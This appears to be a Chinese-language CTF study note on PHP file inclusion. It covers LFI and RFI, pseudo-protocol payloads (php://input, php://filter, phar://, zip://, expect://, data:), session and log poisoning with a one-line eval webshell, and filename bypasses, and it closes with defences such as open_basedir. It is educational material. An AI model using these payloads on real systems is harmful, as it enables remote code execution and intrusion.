文件包含入门

参考文章:PHP漏洞全解————10、PHP文件包含漏洞_action=%252e%252e%255c%252e%252e%255c%252e%252e%25-CSDN博客

0x01 基础知识

相关函数

必看:https://www.php.net/manual/zh/function.include.php

  • include, require

基础就不多说了,require报错会终止程序,但是include会继续执行下面代码。

  • include_once & require_once

包含过的就不会继续包含

漏洞成因

  • 具有相关的危险函数
  • 包含变量可控

0x02 漏洞类型

LFI(Local File Inclusion)

本地文件包含漏洞,顾名思义,指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏洞都是LFI。

RFI(Remote File Inclusion)

远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。

RFI对php.ini里的配置有些要求:

  • allow_url_fopen = On
  • allow_url_include = On

allow_url_fopen 允许 PHP 读取远程文件,而 allow_url_include 则允许 PHP 在代码中包含远程文件。

在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。

0x03 包含方法

php伪协议

参考文章:https://we11s.github.io/posts/2344074049/#php-filter

访问各个输入/输出流(I/O streams),伪协议提供了多种不同的方式来访问和处理数据

在CTF中经常使用的是php://filterphp://inputphp://filter用于读取源码,php://input用于执行POST参数中的php代码。

php://input

配置要求:

allow_url_fopen = 无所谓

allow_url_include = On

1
2
3
4
5
GET
?file=php://input

POST:
<? phpinfo();?>

php://filter

概述

php://filter可以作为一个位于原始数据流和最终目标之间的中间流来处理其他流,负责对数据进行处理。(即读取或写入数据之前对其进行修改或过滤。)

配置要求:

allow_url_fopen = 无所谓

allow_url_include = 无所谓

过滤器

​ 常用:convert.base64-encode convert.base64-decode(将字符串进行base64编码加解密)

​ 注:转换过滤器是 PHP 5.0.0 添加的

结构

exp:

index.php?file=php://filter/read=convert.base64-encode/resource=index.php

结构不难理解,头+过滤器+文件,将结果解码即可。

phar://

phar:// 是用来解压的伪协议
phar://不管参数中是什么拓展名,都会被当做压缩包
用法:?file=phar://压缩包/压缩文件
比如:phar://xxx.png/shell.php
利用phar:// 时,PHP配置文件需要开启allow_url_fopen和allow_url_include,并且PHP版本要高于5.3.0

写一个木马文件shell.php,然后用zip://伪协议压缩成shell.zip,最后修改后缀名为.png,上传图片
输入测试:http://www.abc.com/xxx/file.php?file=phar://shell.png/shell.php

这样phar://就会将png当做zip压缩包进行解压,并且访问解压后的shell.php文件

格式:phar://压缩包/压缩文件,前提是这个压缩包可控

zip://

和phar://伪协议原理类似,但用法不同
用法:?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
利用zip:// 时,PHP配置文件需要开启allow_url_fopen和allow_url_include,并且PHP版本要高于5.3.0

注意:需要将#转换成URL编码:%23

格式:zip://[压缩文件绝对路径]#[压缩文件内的子文件名]

expect://

不太好用,要安装拓展

1
2
http://example.com/index.php?page=php:expect://id
http://example.com/index.php?page=php:expect://ls

data:URI,schema

利用条件:

  • php版本大于等于php5.2
  • allow_url_fopen = On
  • allow_url_include = On

方法一:

index.php?file=data:text/plain,<?php phpinfo();?>

方法二:

index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

加号 + 的url编码为 %2bPD9waHAgcGhwaW5mbygpOz8+ 的base64解码为: <?php phpinfo();?>

包含session

推荐文章:

https://www.jianshu.com/p/e6f59f3f01b8,该文章讲得很深刻,我只能粗浅理解一些

ctfshow web82:利用session.upload_progress进行文件包含 - r1kka - 博客园 (cnblogs.com),这篇原理讲得很好

基础

该功能是在php5.4添加的,首先先了解下php.ini以下的几个默认选项

1
2
3
4
session.upload_progress.enable = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
  • enable = on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;
  • cleanup = on表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要;
  • name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;
  • prefix+name将表示为session中的键名;
  • 另外还有一个session配置中的重要选项:session.use_strict_mode=off这个选项默认值为off,表示我们对Cookie中sessionid可控。

cleanup选项决定了我们需要条件竞争

如果session.auto_start=on,则php会在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。但session还有一个默认选项,session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=rikka,PHP将会在服务器上创建一个文件/tmp/sess_rikka。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里;

简而言之,我们自定义的PHPSESSID的值会变成文件名,比如定义PHPSESSID:rikka,文件名即为/tmp/sess_rikka,而PHP_SESSION_UPLOAD_PROGRESS的值即为该文件的内容

简而言之,在Cookie对PHPSESSID赋值,可控文件名。

关键点

包含日志

常规

https://6a93bac8-4958-4014-aa48-1ad8e2c5f69a.challenge.ctf.show/?<?php eval($_POST[cmd]);

  • 要先知道日志位置:

nginx:/var/log/nginx/access.log

apache:/var/log/apache2/access_log(access.log)

  • payload插入:

UA头,GET参数

UA头不需要抓包解码,GET参数需要。

最后getshell即可

SSH log

用户名不合法,气死我了

包含environ

包含的原理也不难

  • 找到写入点

    UA头

  • 找到包含地址

    /proc/self/environ

条件:

  • php以cgi方式运行,这样environ才会保持UA头。
  • environ文件存储位置已知,且environ文件可读。

包含fd

与包含environ类似,不过比较麻烦,之后做到再说

包含临时文件

同样要竞争

包含上传文件

配合文件上传漏洞,基本原理不变

其余

需要深入理解文件包含,其他的应用未必不能文件包含,见招拆招,不断学习。

0x04 绕过姿势

实际上对于包含的文件名往往有限制,比如前缀和后缀等等。

参考文章:https://www.cnblogs.com/Zeker62/p/15322771.html#%E6%9C%89%E9%99%90%E5%88%B6%E7%9A%84%E8%BF%9C%E7%A8%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB

指定前缀

目录遍历

这个比较简单,不做多述。

编码绕过

有时把点号过滤了,尝试编码点号。

指定后缀

URL

URL格式在此处具有妙用,可以在payload最后加**?或者#,或者空格绕过%20**

使用协议

phar://和zip://都可以

长度截断

利用条件: php版本 < php 5.2.8

目录字符串,在linux下4096字节时会达到最大值,在window下是256字节。只要不断的重复./,则后缀/test/test.php,在达到最大值后会被直接丢弃掉。

对路径进行修改即可,可以使用脚本(不会真的有人手搓吧哈哈哈)

0字节截断

利用条件: php版本 < php 5.3.4

1
index.php?file=phpinfo.txt%00

指定前后缀

如果同时有前后缀,该怎么绕过呢?比如:

1
2
3
4
<?php
$file = $_GET['file'];
include '/var/www/html/'.$file.'/test/test.php';
?>

可以使用目录遍历和长度截断(或者0字节截断),有必要的话可以对点号编码,至少协议和URL使用不了。

可知指定前缀的基础上很难使用URL方法,思路集中在路径上。

0x05 防御方案

  • 在很多场景中都需要去包含web目录之外的文件,如果php配置了open_basedir,则会包含失败
  • 做好文件的权限管理
  • 对危险字符进行过滤等等

open_basedir 的主要作用是限制 PHP 脚本只能访问指定的目录及其子目录。这样,即使某个脚本存在漏洞,也无法访问超出这些限定目录之外的文件